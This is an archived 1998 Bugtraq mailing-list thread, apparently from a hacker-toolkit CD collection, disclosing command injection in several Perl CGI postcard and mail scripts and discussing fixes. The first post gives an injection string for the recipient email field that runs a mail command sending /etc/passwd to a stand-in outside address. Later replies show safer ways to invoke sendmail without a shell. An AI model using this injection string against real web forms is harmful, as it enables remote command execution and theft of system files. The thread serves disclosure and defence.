home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Texts / cgi-revenge / www-cgi-vulner.txt < prev   
Text File  |  1999-11-04  |  6KB  |  197 lines

  1. Date: Mon, 9 Nov 1998 18:26:05 -0600
  2. From: xnec <xnec@WINTERMUTE.LINUX.TC>
  3. To: BUGTRAQ@netspace.org
  4. Subject: Several new CGI vulnerabilities
  5.  
  6. INFO:
  7.         After looking over the perl-CGI scripts on www.cgi-resources.com,
  8. I've discovered vulnerabilities in the following:
  9.  
  10. 1. HAMcards Postcard script v1.0 Beta 2
  11.    (www.hamnetcenter.com)
  12.  
  13. 2. Hot Postal Services v??
  14.    (www.hotarea.com)
  15.    note: the only metacharacter stripping this script does is rejecting
  16.          any |'s
  17.  
  18. 3.  RC Bowen's Postcards v??
  19.     (www.rcbowen.com)
  20.  
  21. 4. LakeWeb's File Mail and Mail List (expanded File Mail) v??
  22.     (www.lakeweb.com)
  23.  
  24. EXPLOIT:
  25.  
  26. Each of these are exploitable by inputing metacharacters into the
  27. recipient's email address.  Each script calls something similar
  28. to:
  29.  
  30.  open( MAIL, "|$mailprog $email" )
  31.  # this particular line is from the LakeWeb scripts
  32.  
  33. The exploit strings are simple, something like
  34. &mail evil@foobar.com < /etc/passwd&@host.com will work for each script
  35. (the @host.com is necessary because some hosts check for "@" and ".")
  36. when placed in the Recipient Email field.
  37.  
  38. As a result, any command can be executed remotely without a local
  39. account with the uid of the webserver (usually "nobody" or similar,
  40. but you never know).
  41.  
  42. FIX:
  43. Either fork your sendmail process, strip out metacharacters (or only allow
  44. certian characters), use open (MAIL , "|$sendmail -t") or rm -rf
  45. ./cgi-bin.
  46.  
  47.                  -xnec
  48.  
  49. ######################################################
  50. # xnec@wintermute.linux.tc - xnec on DALnet and EFnet#
  51. ######################################################
  52.  
  53.  
  54. -------------------------------------------------------------
  55.  
  56. Date: Tue, 10 Nov 1998 18:45:24 +1000
  57. From: Karl Hanmore <avatar@ULTRA.ULTRA.NET.AU>
  58. To: BUGTRAQ@netspace.org
  59. Subject: Re: Several new CGI vulnerabilities
  60.  
  61. G'day,
  62.         As a related note, the WebCards program (V1.6) by Sam Kareem
  63. (webmaster@iraq.net) is subject to the same vunerability.
  64.  
  65. Regards,
  66.         Karl
  67.  
  68.  
  69. -------------------------------------------------------------
  70.  
  71. Date: Mon, 9 Nov 1998 19:45:28 -0700
  72. From: Randal Schwartz <merlyn@STONEHENGE.COM>
  73. To: BUGTRAQ@netspace.org
  74. Subject: Re: Several new CGI vulnerabilities
  75.  
  76. >>>>> "xnec" == xnec  <xnec@WINTERMUTE.LINUX.TC> writes:
  77.  
  78. xnec> Either fork your sendmail process, strip out metacharacters (or
  79. xnec> only allow certian characters),
  80.  
  81. You cannot restrict the permitted characters of an email address.
  82. *Any* character is permitted on the left-side of an @, presuming
  83. the proper quoting is used for those more odd ones.
  84.  
  85. For example, <fred&barney@stonehenge.com> is a perfectly valid
  86. email address (try it, an autoresponder responds!).
  87.  
  88. xnec>  use open (MAIL , "|$sendmail -t") or rm -rf
  89. xnec> ./cgi-bin.
  90.  
  91. Or use Net::SMTP to pass the data directly to port 25.
  92.  
  93. --
  94. Name: Randal L. Schwartz / Stonehenge Consulting Services (503)777-0095
  95. Keywords: Perl training, UNIX[tm] consulting, video production, skiing, flying
  96. Email: <merlyn@stonehenge.com> Snail: (Call) PGP-Key: (finger merlyn@teleport.com)
  97. Web: <A HREF="http://www.stonehenge.com/merlyn/">My Home Page!</A>
  98. Quote: "I'm telling you, if I could have five lines in my .sig, I would!" -- me
  99.  
  100. -------------------------------------------------------------
  101.  
  102. Date: Tue, 10 Nov 1998 14:44:23 +0000
  103. From: Gus <angus@INTASYS.COM>
  104. To: BUGTRAQ@netspace.org
  105. Subject: Re: Several new CGI vulnerabilities
  106.  
  107. On Mon, 9 Nov 1998, xnec wrote:
  108. >
  109. > EXPLOIT:
  110. >
  111. > Each of these are exploitable by inputing metacharacters into the
  112. > recipient's email address.  Each script calls something similar
  113. > to:
  114. >
  115. >  open( MAIL, "|$mailprog $email" )
  116.  
  117. This is one that just won't go away, and rather than try the (frankly
  118. quite fruitless) metachar filtering route, it might be an idea for CGI
  119. providing ISP's to insist on the use of perl's Mail::Sendmail module,
  120. which cuts out any potential pipe/metachar related bugs by communicating
  121. directly w/ the SMTP server.
  122.  
  123.  
  124. $LOCAL_CPAN_MIRROR/authors/id/M/MI/MIVKOVIC/Mail-Sendmail-0.74.tar.gz
  125.  
  126. See http://www.perl.com/CPAN for a list of mirror sites.
  127.  
  128.  
  129. Regards
  130.         Gus
  131.  
  132.  
  133. --
  134.                                 angus@intasys.com
  135.                           http://www.intasys.com/~angus/
  136.  
  137. -------------------------------------------------------------
  138.  
  139. Date: Tue, 10 Nov 1998 14:43:27 -0500
  140. From: Lincoln Stein <lstein@cshl.org>
  141. To: BUGTRAQ@netspace.org
  142. Subject: Re: Several new CGI vulnerabilities
  143.  
  144. Gus writes:
  145.  > On Mon, 9 Nov 1998, xnec wrote:
  146.  > >
  147.  > > EXPLOIT:
  148.  > >
  149.  > > Each of these are exploitable by inputing metacharacters into the
  150.  > > recipient's email address.  Each script calls something similar
  151.  > > to:
  152.  > >
  153.  > >  open( MAIL, "|$mailprog $email" )
  154.  >
  155.  > This is one that just won't go away, and rather than try the (frankly
  156.  > quite fruitless) metachar filtering route, it might be an idea for CGI
  157.  > providing ISP's to insist on the use of perl's Mail::Sendmail module,
  158.  > which cuts out any potential pipe/metachar related bugs by communicating
  159.  > directly w/ the SMTP server.
  160.  
  161. Net::SMTP is more likely to be installed on ISP's
  162. machines. Mail::Sendmail is a bit of an oddball.  There are also other
  163. ways to avoid the fruitless metachar search and destroy mission.
  164. First off, why do people think they need to put the recipient's
  165. address on the command line in the first place?
  166.  
  167.    open (MAIL,"| /usr/lib/sendmail -t -oi");
  168.    print MAIL <<END;
  169.    To: $mailto
  170.    From: me (me\@nowhere.com)
  171.    Subject: nothing much
  172.  
  173.    Hi there!
  174.    END
  175.    close MAIL;
  176.  
  177. And here's a general Perl technique for opening pipes without getting
  178. the shell involved at all:
  179.  
  180.    open (MAIL,"|-") || exec '/usr/lib/sendmail','-t','-oi';
  181.    print MAIL <<END;
  182.    To: $mailto
  183.    From: me (me\@nowhere.com)
  184.    Subject: nothing much
  185.  
  186.    Hi there!
  187.    END
  188.    close MAIL;
  189.  
  190. Lincoln
  191.  
  192. --
  193. ========================================================================
  194. Lincoln D. Stein                           Cold Spring Harbor Laboratory
  195. lstein@cshl.org                                   Cold Spring Harbor, NY
  196. ========================================================================
  197.